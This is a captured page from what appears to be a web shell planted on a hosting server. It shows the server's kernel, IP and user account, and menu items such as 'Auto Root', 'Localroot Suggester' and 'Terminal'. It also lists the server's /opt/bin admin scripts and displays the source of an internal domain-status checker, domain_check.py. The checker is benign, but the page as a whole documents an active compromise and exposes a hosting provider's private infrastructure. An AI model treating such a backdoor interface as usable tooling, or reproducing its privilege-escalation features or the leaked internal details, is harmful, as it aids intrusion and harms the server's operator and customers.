Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
cron
[ DIR ]
drwxr-xr-x
2025-07-23 04:12
add-pgsql-ipv6-support.sh
564
B
-rwxr-xr-x
2022-09-28 10:30
allow_cl.sh
3.3
KB
-rwxr-xr-x
2024-03-05 16:15
auth-removal.sh
1.95
KB
-rwx------
2023-01-23 13:29
block_ssh.sh
1.15
KB
-rwxr-xr-x
2023-05-23 21:01
cfm_control
4.65
KB
-rwxr-xr-x
2024-03-28 12:14
check_autossl_excluded.sh
6.88
KB
-rwxr-xr-x
2023-05-22 11:59
convert_to_clos.sh
5.73
KB
-rwxr-xr-x
2023-02-09 14:50
convert_to_core.sh
276
B
-rwx------
2025-04-01 06:33
disable_cpbackups.sh
1.39
KB
-rwxr-xr-x
2024-10-10 07:11
domain_check.py
6.24
KB
-rwxr-xr-x
2024-08-27 10:40
grubinst6.sh
230
B
-rwxr-xr-x
2022-10-27 11:41
grubinst7.sh
323
B
-rwxr-xr-x
2024-01-24 12:57
install-ipa.sh
2
KB
-rwxr-xr-x
2024-09-26 04:24
install-ipa.sh.bak
2.37
KB
-rwxr-xr-x
2023-07-05 13:07
install_cloudlinux.sh
1.31
KB
-rwxr-xr-x
2022-09-29 15:30
install_csf.sh
2.91
KB
-rwx------
2023-05-08 10:57
install_elasticsearch.sh
2.19
KB
-rwx------
2022-07-25 14:24
install_litespeed.sh
4.33
KB
-rwx------
2024-06-13 10:28
install_multiphp.sh
976
B
-rwx------
2022-10-10 14:55
install_redis.sh
709
B
-rwx------
2022-09-28 10:30
ipmicfg
429.04
KB
-rwxr-xr-x
2023-10-04 10:59
lets_encrypt_accept.sh
306
B
-rwxr-xr-x
2024-05-14 09:32
mailqueue_check.sh
1.65
KB
-rwxr-xr-x
2022-04-11 09:40
mysql_minor_upgrade.sh
9.33
KB
-rwxr-xr-x
2024-09-11 17:25
server-scripts_deployer.sh
13.54
KB
-rwxr-xr-x
2024-03-28 12:59
set_autossl_onlynotify_expiry.sh
1.91
KB
-rwxr-xr-x
2022-09-14 08:37
updatecfips.sh
1.62
KB
-rwxr-xr-x
2023-05-22 11:59
wp_plugin_scan.py
14.8
KB
-rw-------
2025-01-21 11:31
Save
Rename
#!/usr/bin/python3 # SYSENG-23300: tool to identify and report HTTP status of all domains on a system import argparse, multiprocessing, os, requests, re, socket, sys, urllib3 from datetime import datetime urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # suppresses warnings when SSL verification is disabled parser = argparse.ArgumentParser(description='Check HTTP statuses for domains on this system') requiredNamed = parser.add_argument_group('required arguments') requiredNamed.add_argument('-m', '--main', help='grab domains from /etc/trueuserdomains', action="store_true") requiredNamed.add_argument('-a', '--all', help='grab domains from /etc/userdomains', action="store_true") parser.add_argument('-p', '--pids', type=int, default=3, help='multiprocess with N number of PIDs (1-10)') if len(sys.argv) == 1: parser.print_help(sys.stderr) sys.exit(1) args = parser.parse_args() if args.pids > 10 or args.pids < 1: print("Error: number of PIDs can only be 1-10") sys.exit(1) if args.main: domain_file = "/etc/trueuserdomains" log_type = "main" maxpids = args.pids if args.all: domain_file = "/etc/userdomains" log_type = "all" maxpids = args.pids ## FUNCTIONS def check_file(domain_file): if not os.path.isfile(domain_file): print("{}: File Not Found".format(domain_file)) print("Either this is not a cPanel server or something is seriously wrong") sys.exit() def ctrlc(): print(" Ctrl+C captured, exiting") def format_lines(line): templist = [] line = line.rstrip('\n') domain, user = line.split(":") if re.match(r'^nobody$', user) and re.match(r'^\*$', domain): pass # don't process *:nobody line (domain, user) = (domain.strip(), user.lstrip()) # remove white spaces domain = domain.replace("*.", "") # remove leading *. from domains/subdomains templist.insert(0, user) templist.insert(1, domain) return templist def check_dns(dom): try: check = socket.gethostbyname(dom) res = repr(check).replace("'","") return res except socket.gaierror as gai_err: if "[Errno -2] Name or service not known" in str(gai_err): res = "No DNS Found" return res except KeyboardInterrupt: ctrlc() sys.exit() else: res = "No DNS Found" return res def check_rdns(ip): try: r_res = socket.gethostbyaddr(ip) return r_res[0] except (socket.gaierror, socket.herror) as r_err: if "Name or service not known" or "[Errno -2] Name or service not known" or "[Errno 0] Resolver Error 0 (no error)" in str(r_err): rdns_fail_status = "No rDNS" return rdns_fail_status except KeyboardInterrupt: ctrlc() sys.exit() else: rdns_fail_status = "No rDNS" return rdns_fail_status def a2(rdns): thisHostname = socket.gethostname() a2hosts = ("a2webhosting", "a2hosting", "supercp", thisHostname) isa2 = any(ele in rdns for ele in a2hosts) return isa2 def check_http(dom): try: dom = "https://" + dom + "/" r = requests.get(dom, headers=headers, verify=False, timeout=5) except (requests.ConnectionError): redirect_fail_status = "301 Failed" return redirect_fail_status except KeyboardInterrupt: ctrlc() sys.exit() except requests.exceptions.TooManyRedirects: redirect_status = "TOO MANY REDIRECTS" return redirect_status except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout) as timeout_err: timeout_status = "TIMEOUT" return timeout_status else: return r.status_code def log_data(to_log, log_file): with open(log_file, 'a') as file: file.write(",".join(str(item) for item in to_log) + "\n") file.close() def log_header(log_dir, log_file, now): if not os.path.exists(log_dir): mode = 0o755 os.mkdir(log_dir, mode) with open(log_file, 'a') as file: file.write("====================== BEGIN: {} ======================\n".format(now)) file.close() def log_footer(log_file): cur_time = datetime.now() format = now.strftime("%m-%d-%Y-%f") with open(log_file, 'a') as file: file.write("====================== END: {} ======================\n".format(cur_time)) file.close() class bcolors: OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' def check_domain(domain): usr, dom = domain ip = check_dns(dom) rdns = check_rdns(ip) a2check = a2(rdns) if a2check: # only check HTTP status for domains hosted here http_res = check_http(dom) return [http_res, dom, usr, ip, rdns] ## MAIN check_file(domain_file) now = datetime.now() log_format = now.strftime("%m-%d-%Y-%f") log_dir = "/var/log/domain_check/" log_file = log_dir + log_type + "-" + log_format + ".log" fh = open(domain_file, "r") file_data = fh.readlines() line_count = len(file_data) checked = 0 resolve_here = 0 has_issues = 0 headers = { 'User-Agent': 'Internal domain checker - (domain_check.py)' } print("### Checking {} domains in: {}, max PIDs: {} ###".format(line_count, domain_file, maxpids)) log_header(log_dir, log_file, now) domains = [format_lines(line) for line in file_data] pool = multiprocessing.Pool(processes=maxpids) # process pool of #maxpids for result in pool.imap_unordered(check_domain, domains): checked += 1 if result: http_res, dom, usr, ip, rdns = result to_log = [http_res, dom, usr, ip, rdns] log_data(to_log, log_file) if str(http_res) == '200': http_res = str(bcolors.OKGREEN) + str(http_res) + str(bcolors.ENDC) else: http_res = str(bcolors.FAIL) + str(http_res) + str(bcolors.ENDC) has_issues += 1 print("{} {} ({},{},{})".format(http_res, dom, usr, ip, rdns)) resolve_here += 1 pool.close() pool.join() log_footer(log_file) print("========================= SUMMARY ===========================") print("Total domains in " + domain_file + ": " + str(line_count)) print("Total checked domains: " + str(checked)) print("Total domains that resolve here: " + str(resolve_here)) print("{}/{} domains that resolve here have non-200 statuses".format(has_issues, resolve_here))